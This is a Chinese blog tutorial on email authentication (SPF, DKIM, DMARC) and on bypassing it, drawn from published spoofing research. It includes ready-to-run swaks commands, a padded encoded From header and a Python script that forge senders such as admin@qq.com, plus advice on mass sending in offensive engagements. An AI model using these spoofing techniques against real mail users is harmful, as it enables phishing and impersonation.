如何保证邮件系统的安全?

Posted 妇男主任

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何保证邮件系统的安全?相关的知识,希望对你有一定的参考价值。

邮件伪造原理

SMTP传输原理

SMTP是一种提供可靠且有效的电子邮件传输的协议。SMTP是建立在FTP文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知。SMTP独立于特定的传输子系统,且只需要可靠有序的数据流信道支持,SMTP的重要特性之一是其能跨越网络传输邮件,即“SMTP邮件中继”。使用SMTP,可实现相同网络处理进程之间的邮件传输,也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输。

SMTP协议是基于TCP协议,要进行三次握手

  1. 建立连接
  2. 传输数据
  3. 断开连接

简单邮件传输协议 (Simple Mail Transfer Protocol, SMTP) 是在Internet传输email的事实标准。
RFC821:https://tools.ietf.org/html/rfc821
SMTP默认端口:25
SSL SMTP默认端口:465

在邮件传输过程中会提到的两个From:

MAIL FROM:在SMTP认证中代表是谁发的,后面统称Smtp.From;
Message FROM:定义在邮件内容Header中,呈现给收件人的From字段,在后面统称Message.From


一个完整的发信简图如下,可以发现在原生SMTP整个过程中并没有任何身份校验的机制,HELO/MAIL FROM(Smtp.From) 以及From(Message.From)均是可控可定义的。

原理

这里会用到一款工具:nslookup

nslookup (全称 name server lookup) ,是一个在命令行界面下的网络工具,它有两种模式: 交互 &
非交互,进入交互模式在命令行界面直接输入nslookup按回车,非交互模式则是后面跟上查询的域名或者 IP
地址按回车。一般来说,非交互模式适用于简单的单次查询,若需要多次查询,则交互模式更加适合,例如计网第七版第二章的课后习题p19
(单纯举例子,没有书不影响接下来的阅读),从根服务器进行迭代查询。

nslookup 基础语句

如果没指定dns-server,用系统默认的dns服务器。

nslookup baidu.com [dns-server]
[root@localhost ~]# nslookup baidu.com
Server:     10.30.7.177
Address:    10.30.7.177#53

Non-authoritative answer:
Name:   baidu.com
Address: 123.125.114.144
Name:   baidu.com
Address: 111.13.101.208
Name:   baidu.com
Address: 180.149.132.47
Name:   baidu.com
Address: 220.181.57.217

查询其他记录

nslookup -qt=type domain [dns-server]
type描述
A示例
AAAA地址记录
AFSDBAndrew文件系统数据库服务器记录
ATMAATM地址记录
CNAME别名记录
HINFO硬件配置记录,包括CPU、操作系统信息
ISDN域名对应的ISDN号码
MB存放指定邮箱的服务器
MG邮件组记录
MINFO邮件组和邮箱的信息记录
MR改名的邮箱记录
MX邮件服务器记录
NS名字服务器记录
PTR反向记录
RP负责人记录
RT路由穿透记录
SRVTCP服务器信息记录
TXT域名对应的文本信息
X25域名对应的X.25地址记录

查询更具体的信息

在查询的时候,加上-d参数,可查询域名的缓存。

nslookup –d [其他参数] domain [dns-server]

SPF

发件人策略框架 (Sender Policy Framework ,
SPF)是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。可确定允许哪些邮件服务器代表您的域来发送电子邮件。

"v=spf1 a mx ip4:47.100.47.4 -all"

设置正确的 SPF 记录可以提高邮件系统发送外域邮件的成功率,也可以一定程度上防止别人假冒你的域名发邮件。

SPF验证原理

假设邮件服务器收到了一封邮件,来自主机的 IP 是47.100.47.4,并且声称发件人为email@example.com。为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。如果该域的 SPF 记录设置允许 IP 为47.100.47.4的主机发送邮件,则服务器就认为这封邮件是合法的;如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。
因为不怀好心的人虽然可以「声称」他的邮件来自example.com,但是他却无权操作example.com的 DNS 记录;同时他也无法伪造自己的 IP 地址。因此 SPF 是很有效的,当前基本上所有的邮件服务提供商(例如 Gmail、QQ 邮箱等)都会验证它。


假设b.com邮件服务器收到了一封邮件,发送主机的 IP 是1.2.3.4,并且声称自己的Smtp.From字段为s@a.com。为了确认发件人不是伪造的,邮件服务器b.com会去查询a.com的 SPF 记录。如果该域不存在SPF即随便伪造;如果存在 SPF 记录并且设置允许 IP 为1.2.3.4的主机发送邮件,则服务器就认为这封邮件是合法的,如果 IP 不在允许范围内,则大多数情况会显示为代发标识。

all:结束标志,“-”表示只允许设置的记录为通过,“~”表示失败,通常用于测试,“+”表示忽略SPF。

例如,这是一个比较常见的 SPF 记录,它表示支持当前域名的 a 记录和 mx 记录,同时支持一个给定的 IP 地址;其他地址则拒绝:
v=spf1 a mx ip4:47.100.47.4 -all

DKIM

DKIM,电子邮件验证标准——域名密钥识别邮件标准。DomainKeys Identified
Mail的缩写。主要作用是校验邮件标头签名信息,防止邮件内容篡改


在a.com的DNS上设置DKIM公钥,假设通过a.com发送邮件,邮件服务器使用提前配置的私钥加密邮件相对应内容,生成DKIM-Signature签名及相关信息插入到邮件标头中;当b.com邮件服务器收到了邮件时,通过DNS查询获得此前配置的对应公钥,验证邮件DKIM签名的有效性,从而确认在邮件发送的过程中邮件是否篡改
DKIM签名结构如下所示:

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
      d=anxus.top; l=1850; s=selector; t=1452769712;
      h=date:from:from:to:message-id:subject:mime-version;
      bh=yCbsFBJJ9k2VYBxKGgyNILalBP3Yzn1N8cMPQr92+zw=;
      b=bnuXrH/dSnyDR/kciZauK4HTgbcDbSFzmHR78gq+8Cdm20G56Ix169SA...

a:签名算法
c:用于对标头和正文的算法规范化,simple&relaxed
d:是这一个域的签名。在DMARC检查签名中的域是否和发送者的域相匹配中用到
q:定义用于检索DKIM公钥的查询方法。它不必存在,默认为“ dns / txt”
s:在DNS中寻找RSA密钥的参数
h:应该包含在签名中的邮件头字段列表
bh:邮件正文的hash
b:是签名本身的核心,包括’h’给出的字段,以及DKIM-Signature头本身(视b=为空)

public_key = dkim_find_key(q_val, d_val, s_val)

DMARC

只有SPF与DKIM其实并不能真正对邮件的发件人进行身份验证:因为SPF只能对Smtp.From进行来源IP的验证,DKIM只能保证对应内容不被篡改,但收信人真正看见的字段是定义在邮件头中的Message.From,两者无法保证该字段是真实的。

故在2015年3月发布的文档RFC 7489定义了DMARC,其中引入标识符对齐机制(Identifier Alignment):作用是确保通过SPF/DKIM校验的域名与Message.From发件人地址可以对齐匹配,从而保证最终用户看到的来源地址是真实可信的。

DMARC有两种对齐匹配机制:严格模式和宽松模式

严格模式

两个域必须相同才能彼此对齐,例如SPF标识符对齐Demo:
Smtp.From为:imanfeng@360.cn

邮件头内容为:

From: imanfeng@360.cn
Date: Fri, Feb 15 2002 16:54:30 -0800
To: jane@360.cn
Subject: Hi!

例如DKIM标识符对齐DEMO:d=360.cn

邮件头内容为:

From: imanfeng@360.cn
Date: Fri, Feb 15 2002 16:54:30 -0800
To: jane@360.cn
Subject: Hi!

宽松模式

两个组织域(主域名)相同时两个域即对齐,例如SPF表示符对齐Demo:

Smtp.From为:imanfeng@lintonlab.360.cn

邮件头内容为

From: imanfeng@360.cn
Date: Fri, Feb 25 2019 03:14:20 -1200
To: jane@example.org
Subject: Hi!

例如DKIM标识符对齐DEMO:d=lintonlab.360.cn

邮件头内容为:

From: imanfeng@360.cn
Date: Fri, Feb 25 2019 03:14:20 -1200
To: jane@360.cn
Subject: Hi!

DMARC除了进行对齐校验外,还可以配置处理的策略,如下图所示:

p:用于告知收件方,当检测到某邮件存在伪造发件人的情况,收件方要做出什么处理:reject为拒绝该邮件;none为不作任何处理;quarantine为将邮件标记为垃圾邮件
sp:规定子域的处理策略
rua:发送综合反馈的邮件地址
ruf:发送消息详细故障信息的邮件地址
dkim:要求dmarc对于dkim的对齐标准
aspf:要求dmarc对于spf的对齐标准

邮件通过DMARC检测的流程如下图所示:

  1. 邮件发送
  2. 接收方从邮件中取出字段Message.From的domain
  3. 使用domain字段与SPF/DKIM的上述domain经过对齐校验(默认为宽松对齐)
  4. SPF/DKIM均通过校验并且其domain通过对齐校验
  5. 通过DMARC校验,收到邮件

绕过防护

正常发收件​​​​认证流程如下:

  1. Alice定义内容发送邮件
  2. SPF校验发送ip是否在DNS记录ip范围【HELO&MAIL FROM】
  3. DKIM查询DNS中的公钥校验邮件头签名准确性【签名校验】
  4. DMARC对齐校验【domain】
  5. Bob收到邮件

最核心的思想就是利用不同组件传递过程中的差异性进行绕过

Ⅰ.校验歧义性绕过

① 不存在子域差异性

关于SPF以及DMARC官方有特殊定义:

  1. SMTP定义了身份标识符有HELO 和 MAILFROM(Smtp.From)
  2. SPF同时检测HELO 和 MAILFROM,有一个失败即SPF校验失败
  3. DMARC校验SPF时默认使用MAILFROM进行对齐,当MAILFROM为空会使用HELO进行对齐校验


利用流程(Espoofer – server_a1):

  1. HELO及MAIL FROM恶意字段如上图所示;
  2. MAIL FROM的域名字段是子域名并没有配置SPF,故进行SPF校验时是查询不到,但查询不到并不会被判断为SPF校验失败!与此同时HELO是可以通过SPF判断,故SPF通过;
  3. DMARC优先使用Smtp.From的domain与Message.From的domain进行对齐,此时是可以通过宽松模式对齐的,故DMARC通过(没有强制要求严格模式对齐的情况下)。

这种绕过情况下由于Smtp.From与Message.From不一致,部分邮件接收方会进行一个代发提示,如下图所示:


此时可利用场景为,将子域名定义为mail、office等进行官方发件的伪装,前提是子域不存在SPF记录。apple.com的子域一直可以解析到spf记录,故此方法是无法绕过的


② MAIL FROM置空差异性

该利用点在于不同校验组件对”空”的Smtp.From字段处理方式不同(Espoofer – server_a2):

  1. 部分SPF组件会将“(any@legitimate.com”视为空的Smtp.From,那么就会转向对HELO进行SPF校验并且顺利通过;
  2. 到后面DMARC组件并不认为它是空地址,故会继续使用Smtp.From=legitimate.com与Message.From=legitimate.com进行对齐校验,故存在绕过SPF&DMARC的可能。

③ 解析截断差异性

该利用点在于不同校验组件会存在解析截断,从而造成差异性绕过:


利用流程(Espoofer – server_a3):

  1. 攻击者在attack.com解析中添加公钥,构造DKIM头通过私钥加密需要加密的信息进行发送;
  2. 邮件服务器原本公钥构造应该为attack.com.\\x00.any._domainkey.bank.com(s+[._domainkey.]+d);
  3. 由于部分语言如C在解析过程中会存在\\x00截断,导致接收方服务器处理后获取公钥的地址直接为attack.com,该内容可控故存在绕过。

Ⅱ.认证头内容注入

这个绕过技巧主要在于SPF和DKIM组件如何将它们验证的结果信息传递给DMARC来进行对齐检查,思路的话就是想如何在通过DMARC的情况下让SPF/DKIM去验证我们可控的域名内容

① DKIM 认证头内容注入

1.如上图所示为攻击者发送的恶意邮件头内容,当DKIM校验内容时,拼接公钥内容地址为selector._domainkey.legitimate.com(. attacker.com ,由于在attacker.com上读取故可控,从而可通过DKIM验证;

2.DKIM组件会生成验证头发送给DMARC进行对齐:

   Authentication-results:victim.com;dkim=pass
   (1024-bitkey)header.d=legitimate.com(.attacker.com

3.DMARC收到验证头内容后,会将(后面的内容作为注释,故将Message.From的legitimate.com与d=legitimate.com进行对齐匹配测试,从而通过校验。

“(”, double (“) and single (’)均可作为注释。

② SPF 认证头内容注入

方案一(Espoofer – server_a5)


如图所示为:

  1. 当SPF校验内容时,Smtp.From的domain为legitimate.com(.attacker.com ,SPF去校验了legitimate.com(.attacker.com的SPF,内容可控故顺利通过SPF校验;
  2. 当进行DMARC校验时,同样会将(后视为注释,将Message.From的legitimate.com与Smtp.From的legitimate.com进行对齐匹配,从而通过DMARC匹配。

方案二(Espoofer – server_a6)

某些邮件服务器进行地址校验不允许方案一的地址格式,可换种格式如上图样例所示:

  1. 邮件服务器收到邮件会以第二个@作为分隔,故判断为合法邮件;
  2. 此时当SPF组件选择第一个@作为分隔所选的校验domain即为legitimate.com’@a.attack.com,从而通过SPF校验;
  3. 当进行DMARC校验通过注释过后仍然可以通过对齐匹配。

Ⅲ.UI相关差异绕过

我们把邮件接收处理的过程大致可以分为两个阶段

1.从MIME原始报文提取至Message.Header
2.从Message.Header提取出响应的domain以及email-address


故存在一种场景:邮件服务器和客户端所展示的信息经过不同的处理传递过程中可能会产生差异,从而在传递过程中造成绕过利用

① 邮件头不一致性

多个发件人地址进行绕过

根据RFC 5322表示一个邮件消息必须有一个Message.From,同样存在多个Message.From无效并且会被拒绝,但经测试实际上部分客户端是没有遵循上面说的拒绝邮件规则的:

(a) iCloud.com (Web) 在面对多Message.From的情况时,DMARC会验证其第一个Message.From并且给客户端展示的是最后一个Message.From,测试方法对应Espoofer – server_a8;

(b) Mail.ru的邮件服务器会拒接多个Message.From的情况,但是可以使用堆叠的空格可以进行绕过。随后其DMARC可以识别第一个Message.From来进行校验并在Outlook (Windows) 上展现正确格式的第二个Message.From给客户端用户,测试方法对应Espoofer – server_a11;

© Fastmail.com的邮件服务器和Fastmail.com (Web) 无法成功识别空格,DMARC会校验格式正确的第一个Message.From,但Fastmail.com的邮件服务器在转发给Fastmail.com (Web) 客户端时除去了空格,并展示给用户的是最后一个Message.From,测试方法对应Espoofer – server_a10。

代替发件人地址进行绕过

Sender字段定义为代发用户,Message.From的作用有两点:1.用于DMARC对齐 2.显示发件人,当邮件没有Message.From的时候,部分组件会找一些标识来代替Message.From:

(d) Naver.com的邮件服务器成功识别了堆叠的Message.From字段,但是在Outlook (Windows) 上面去无法展示堆叠的Message.From字段,此时会使用Sender来展示发件人,测试方法对应Espoofer – server_a12。

(f) Gmail.com的邮件服务器有严格的格式校验会拒绝多Message.From字段的邮件并且当Message.From不存在时会使用Smtp.From来添加一个新的头。当攻击者使用带开头空格的Message.From作为第一个头,Resent-From标头作为备用标头并将Smtp.From置空的情况下,Gmail.com的邮件服务器会首先将空格开头的Message.From标头视为第一个FROM头,且顺利进行DMARC校验,随后插入一个身份验证的DMARC标签头,同时会将空格开头的Message.From也转发给Gmail.com (Web)导致其不识别此Message.From而是显示Resent-From。

② 邮件地址不一致性

一个有效的Message.From头的结构图下:

Display Name显示名称是一个可选字段用于表示发件人名称,并不受SPF、DKIM、DMARC保护,常用作伪装发件人名称;
Comments注释在前面也有所提到,可以自由的插入打破From头中的许多地方,按照标准样例:“From: Pete(A nice ) chap) ” 同样是有效的地址;
Route portion路由部分是早期用于定义的功能,@为每个列表的开头,列表通过,分隔,最终以冒号结尾;
Real address真实地址代表真实发件人,@前面的部分是可以带引号或不带引号的字符串;
Multiple address lists发件人地址列表,可以定义多个满足有效的Message.From头的邮箱。
Quoted-pair当遇到特殊解释的字符,例如逗号或者引号,发件人可以使用\\来转义;
Encoding期初SMTP在邮件头中只支持US-ASCII字符,RFC 2047定义了2中编码方式:B (Base64编码)和Q (带引号编码)格式为:=?charset?encoding?encoded-text?=

From: bob<b@b.com> => From: =?utf-8?B?Ym9i?=<b@b.com>

服务器与客户端关于头文件内容解析的差异性

1.Tutanota.com的邮件服务器只用第一个地址进行DMARC检测,而Web客户端显示只显示第二个地址(a);
2.Yahoo.com、Outlook.com、iCloud.com、Fastmail、Zoho.com和Tutanota.com 的邮件服务器并不能识别编码地址从而用attack.com进行DMARC对齐检测,但是 Gmail.com (Web), Outlook.com (Web), Yahoo.com (Web), Naver.com (Web), Mail (MacOS), Mail (Windows) and Mail (ios)的客户端是支持编码显示的,所以会显示第一个地址(b);
3.Fastmail.com的邮件服务器不解析路由格式,会将attack.com视为真实地址进行DMARC对齐认证,而其web客户端会只显示第二个地址(c),其他也类似。


其他问题

SPF,DKIM和DMARC通过依赖域查询进行发件人身份验证。如果无法获取域记录,则校验组件可能认为域未部署相应的安全机制从而跳过校验。

1.不可见字符插入目标域地址

例如,Message.From为From:admin@legitimate.com\\u2000,Outlook.com (Server) 会去legitimate.com\\u2000进行DMARC策略查找并未发现DMARC对齐设置,并且web客户端会显示legitimate.com

2.编码目标域地址

例如,Message.From为From: base64encode(admin@legitimate.com),Yahoo.com (Server) 同样回去编码地址进行DMARC策略查找,并且其web客户端会显示legitimate.com

3.From空绕过

例如,当From头为空但是Sender头存在,Outlook.com (Server),Zoho.com (Server)以及Tutanota.com (Server) 会跳过DMARC校验或者生成”none“结果传递给Message,但是他们的web客户端会显示Sender的地址。

Ⅳ.重放攻击

DKIM的校验存在2个可以被利用的点

1.DKIM不能防止重放攻击
2.DKIM在一定情况下允许将其他电子邮件标头(在某些情况下甚至是正文内容)附加到原始邮件中

结合这两个弱点,由合法域签名的邮件可以由重放的攻击者在不破坏DKIM签名的情况下添加恶意内容,并且通过DKIM处理与MUA表达不一致性进一步欺骗电子邮件客户端显示攻击者指定的内容。

① DKIM 签名重放

Header spoofing

前面说了DKIM中的h=标签用于说明DKIM签名的字段,在RFC 6376中列出了应该签名的19个标头,但是只有From是强制签名的

  1. 存在不同域名设置的DKIM签名内容标准是不一样的情况,存在重放篡改的可能,如:aa.comDKIM设置为h=from,故在重放的过程中可以修改未被校验的头,如直接设置一个Content-Disposition:attachment;filename=ticket.jpg头,则原始内容会被渲染为附件;

  2. 有时强制签名了关键字段防止篡改,但仍然存在DKIM组件以及客户端渲染的差异使重放的时候进行混淆的可能。在RFC 6376 § 5.4.2中指定了如果消息有多个重复的标头,则DKIM需要使用最后一个标头进行签名,但有的客户端在展示的时候往往会显示第一个标头。

Body spoofing

除了欺骗头之外,攻击者还可以通过利用DKIM-Signature标头中的可选l =标签来欺骗电子邮件正文,该标签表示签名中包含的电子邮件正文的长度。例如,Google网上论坛通常会在每封转发的电子邮件的末尾附加退订信息。这种行为可能会破坏DKIM验证,这时就会使用l =标签,此时重放攻击者就在不破坏DKIM签名的情况下将新的恶意内容附加到原始电子邮件正文中。

举例,如下图所示:

  1. discover.com的签名中使用l =的标记,并且Gmail服务器采用了重复标头的最后一个实例进行DKIM验证,故篡改的电子邮件通过了Gmail的DKIM验证;
  2. 当Gmail Web界面显示此消息时,它会使用攻击者定义的每行第二个MIME格式,并且仅显示攻击者篡改的内容。

② 已有邮箱帐户欺骗

当拥有一个想要伪造域名的账号密码时,可能会在使用自定义的MUA通过认证服务发送电子邮件的情况下存在身份绕过


Gmail.com (Server) 绕过为例:

  1. 攻击者拥有一个发送方user的账号密码
  2. 电子邮件提供端使用AUTH命令中携带的用户密码对MUA进行身份认证
  3. 电子邮件接收端会使用Message.From头admin@a.com \\,user@a.com的第二个用户与MUA用户进行校验
  4. 通过验证,进行DKIM签名,并发送给对方邮件服务器
  5. 对方邮件服务器收到进行SPF、DKIM、DMRAC校验并顺利通过

该利用点主要在于如何更改Message.From头的格式让MUA顺利通过认证服务器的用户核实进行发信。

③ 重放绕过DKIM签名

通过拦截认证过DKIM的邮件并进行添加From、To头并进行重放,利用前面提到对重复头的差异性进行绕过(可以尝试对严格进行Message.From验证的进行绕过)


绕过过程如下:

  1. 攻击者拥有一个a.com的user账号密码
  2. 电子邮件提供端使用AUTH命令中携带的用户密码对MUA进行身份认证
  3. 进行DKIM签名后发送邮件到攻击者的attack.com
  4. 攻击者添加重复的From头以及重复的To头,重放给victim邮件服务器
  5. 其DKIM组件可能只验证原始的From报头,从而通过DKIM认证
  6. 配合其他SPF绕过方式组合最终绕过DMARC校验

如何防御

  1. 使用强校验模式进行DMARC验证
  2. 用户UI需要更明确的安全提示
  3. 永远不要轻易相信收件人地址

如果想在某些攻防项目中大规模使用上述相关邮件伪造手法,通过部分实践,觉得你要有几点需要解决:

  1. 组合拳:了解每个绕过方式的作用,根据想要伪造的邮服防护措施来定制组合绕过方法
  2. 发信源:拥有可以使用25端口并且可以大批量发送邮件的可信IP源

测试工具

如何检测域名是否可被伪造
可以推荐个小脚本
spoofcheck:https://github.com/BishopFox/spoofcheck

swaks

swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP协议报文,这里主要是记录一下如何伪造一封邮件绕过gmail的检测。

Git地址:https://github.com/jetmore/swaks
LINUX的安装方式:sudo apt install swaks

swaks发送邮件

最简单的发送命令:

swaks --to user@example.com --server test-server.example.net

但是邮件头中会带上X-Mailer

同时,SPF检测会FAIL。

smtp2go

smtp2go主要是相当于邮件托管,可以分发子账户进行发送。

地址:https://support.smtp2go.com/hc/en-gb

(邮箱注册)普通账户可以免费发1000封邮件。

分配好账户后,可以通过swaks进行登录发送邮件:

swaks发送邮件

swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>

上面这个邮件是无法绕过SPF的。

SPF验证

如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。

gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。

而这条命令:

swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>

smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。

默认情况下,如果未设置Mail.From也就是邮件头的From,则会使用smtp.from作为Mail.From。

绕过SPF

由于邮件显示的是Header中的From不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可。

swaks --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>

Gmail接收到这封邮件后,会校验–from xx@smtp2go.com中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校验。

而DKIM是校验邮件完整性的,smtp2go与Gmail直接使用的是TLS,不会发生什么问题。

邮件头Header的设置

swaks支持自定义某些Header,参数如下:

swaks --header-<Name> <Value>

如果我想去除Mailer特征,就可以这么做:

swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> 

关于附件

swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf

定制发送:

swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理员<admin@qq.com>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf

/tmp/mail.data中是原始的邮件报文。

实验

1. SPF解析不当导致绕过

假设我的SPF记录设置为:

v=spf1 ip4:220.xxx.10.0/24 ~all

这条SPF记录的意思是说只允许220.xxx.10.1~220.xxx.10.255 范围内的IP,软拒绝,发件 IP 非法,但是不采取强硬措施。

这就存在两个严重的安全隐患:

一个是IP段过大,在C段里面,只要获取任意一台主机的权限,那么就可以使用合法的IP进行邮件伪造。

一个是软拒绝,也就是会接受来信,但可能被标记为垃圾邮件。如果SPF记录设置拒绝,就会有大量的邮件被丢弃或者隔离,影响办公效率,有一些邮件系统管理员为了减少业务影响,而采用软拒绝的策略。

当SPF记录设置成~all时,通过测试可以发现,outlook邮箱可以接收邮件,QQ邮箱不接收,163邮箱被标记为垃圾邮件。

还有一种极为严重的错误,就是SPF解析记录配置错误,早在之前鹅厂就出现过SPF解析错误,比如:

v=spf1 ip4:113.110.223.0/24 183.110.226.0/24 183.110.255.0/24 59.110.132.0/24 -all

这里介绍一个工具,输入域名和SPF记录,可快速检查SPF记录是否正确

测试地址:https://www.kitterman.com/spf/validate.html

SPF记录报错,在这条SPF记录中,存在多个IP段,但只有开头的一段ip用了ipv4,这就导致了语法错误。因为这个错误,将导致整个SPF记录完全失效,因为SPF无效,邮件接收方的SPF检测功能也就失效了。

综上,当我们在查看一个域名的SPF记录时,它其实不只是一条解析记录,更是一种邮件安全的策略,SPF记录配置不严或SPF解析错误,就容易导致大量本该被拦截的邮件直接被放进来,而绕过的策略就隐藏在这条SPF记录里面。

2、SPF配置不当导致绕过

邮件服务器管理员做SPF配置时,其实是需要两个步骤的,首先在域名中增加SPF记录,向支持SPF功能的邮件服务器提供验证信息,使别人能验证自己;另外,需要配置邮件服务器支持 SPF,这样才可以验证别人。

那么,在SPF配置过程中,也常常因为配置不当导致绕过,比如:

第一种情况:

域名增加了SPF记录,但是邮件服务器不支持SPF检查或邮件网关未开启SPF检测,无法验证邮件来源。这种情况下,我们声明了自己是谁,但却无法验证对方是谁,SPF检测无效,可伪造任意用户发送到你的域名邮箱里。

第二种情况:

SPF解析在公网DNS,邮件服务器配置内部DNS,内部DNS无法进行SPF解析,从而导致绕过,可从公网伪造任意用户发送邮件。

第三种情况:

攻击者在公司内网,内网SMTP服务器开启匿名邮件发送或者在信任中继服务器IP段,就可以使用任意用户发送邮件。

比如,当 mynetworks = 192.168.0.0/16,在内网,任意一台终端就可以直连公司的SMTP服务器,伪造了一封来自admin@qq.com的邮件发给自己。

python SimpleEmailSpoofer.py -t [目标邮箱]  -n QQ邮箱管理员 -f admin@qq.com -j "邮件主题"  -e 1.txt  -s [内网邮件服务器IP]

3、高权限用户绕过

对于Exchange邮箱系统,拥有Domain admin权限的域用户,可通过outlook直接指定发件人,伪造任意发件人发送邮件。伪造邮件的方式十分简单,且邮件头无法显示真实IP。
测试过程:我给自己的账号也添加了Domain admin权限。
使用Outlook2013客户端指定发件人发送邮件,接收邮件直接显示伪造人的名字,伪造成功。
使用Outlook2016客户端测试,邮件接收方的发件人位置显示”XXX代表XXX”。
存在一定的邮件伪造风险,但在实际中意义并不大,如果拥有了Domain admin权限,哪里还需要邮件伪造呢?

4、邮件客户端内容解析差异

很多时候,大部分的企业邮箱SPF配置都是正确的,理论上,它会对每一封邮件进行检测,那么它是怎么验证发件人的IP地址的呢?

我们使用一个SPF在线检测的工具,来做一下小小的尝试,利用我本地搭建的匿名SMTP服务器伪造邮箱。

https://www.kitterman.com/spf/validate.html

1、在IP address: 里输入将要发信的IP地址,即本地ip地址。
2、SPF Record v=spf1...://-->:输入nslookup查出来的SPF记录
3、Mail From address:输入将要发信的发件人


点击Test SPF Recod进行验证:

结果毫无疑问,SPF验证失败,伪造邮箱不成功,伪造的邮件将会被退回。

通过查看邮件头信息,有两个比较重要的字段,Sender和From。

Sender字段,代表的是邮件的实际发送者,邮件接收方会对它的邮件域名进行SPF检测,确认是否包含了发信人的IP地址。From字段,代表的是邮件发送人,即邮件里所显示的发件人,容易被伪造。

在SPF配置有效的情况下,Sender必须通过SPF检验,所以我们可以设置为正常的邮件服务器地址,然后对From字段进行伪造。

使用swaks做一个邮件测试:

sudo ./swaks --to 67*****28@qq.com  \\
		--from admin@evil.com  \\
		--h-From: '=?GB2312?B?UVHTys/kudzA7dSx?= <admin@qq.com>' \\
		--ehlo evil.com \\
		--body hello \\
		--header "Subject: test"
#其中参数:--from   <实际发件人,对应Sender字段>
#		--h-From <邮件显示的发件人,对应From字段>

QQ邮箱网页版查看邮件,Sender和From字段不一样时,发件人的位置显示由admin@evil.com代发。使用Foxmail客户端查看同一封邮件,Sender和From字段不一样时,不显示代发,伪造成功。

我们分别使用网页版邮箱和客户端邮箱打开同一封邮件,通过对比可以发现,不同的邮件客户端对发件人位置的内容解析是不一样的。

平时工作中,不少使用腾讯企业邮箱的童鞋,都喜欢使用Foxmail客户端查收邮件,这就给了我们成功伪造邮件的可乘之机。

通过测试可以发现:qq邮箱、163邮箱网页版均会显示代发,Outlook邮箱不显示代发,具体邮件客户端软件可具体再行测试。

5、From字段名截断绕过

当我们伪造邮件发送成功的时候,由于Sender和From字段不一样,部分邮件客户端接收邮件后,会提示邮件代发。

那么有没有办法只显示伪造的发件人,不显示邮件代发呢?

在网络上看到一种思路,来源于网贴《关于邮件伪造的一些新思路》,挺有意思的。

在用SMTP发送电子邮件时,发件人别名,格式为:From:发件人别名<邮件地址>。通过对发件人别名字段填充大量的特殊字符,使邮箱客户端截取真实的邮件地址失败,从而只展示我们伪造的发件人别名和伪造邮箱。

邮件伪造测试过程:

1、在QQ邮箱中导出mail.eml文件,删除前面不必要的字段信息。

2、填充发件人别名,伪造邮件头Fron字段:

From:=?gb2312?B?udzA7dSxIDxhZG1pbkBxcS5jb20+0aGhoaGhoaGhoaGhoaGhoaGhoaGhoQ==?==?gb2312?B?oaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?==?gb2312?B?oaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?==?gb2312?B?oaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?==?gb2312?B?oaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGh?==?gb2312?B?oaGhoaGhoaGhoaGhoaGhoaGhoaGhoSAgICAgICAgICAgICAgICAgIKGkoaQ=?==?gb2312?B?oaQgICAgICAgICAgICAgICAgIKGhICAgICAgIKGkoaShpA==?=  <admin@test.com>

3、使用 —data参数发送邮件。

sudo ./swaks --data mail.eml --to 67*****28@qq.com --from admin@test.com

4、成功发送给目标邮箱

Python的实现

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import smtplib
from email.mime.text import MIMEText
from email.header import Header

mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""

sender = 'test@smtp2go.com'
receivers = ['rvn0xsy@gmail.com']

message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] =  Header(receivers[0], 'utf-8')

subject = 'SMTP 邮件测试'
message['Subject'] = Header(subject, 'utf-8')


try:
    smtpObj = smtplib.SMTP()
    smtpObj.connect(mail_host, 25)
    smtpObj.login(mail_user,mail_pass)
    smtpObj.sendmail(sender, receivers, message.as_string())
    print "Success"
except smtplib.SMTPException:
    print "Error"

espoofer

Git地址:https://github.com/chenjj/espoofer

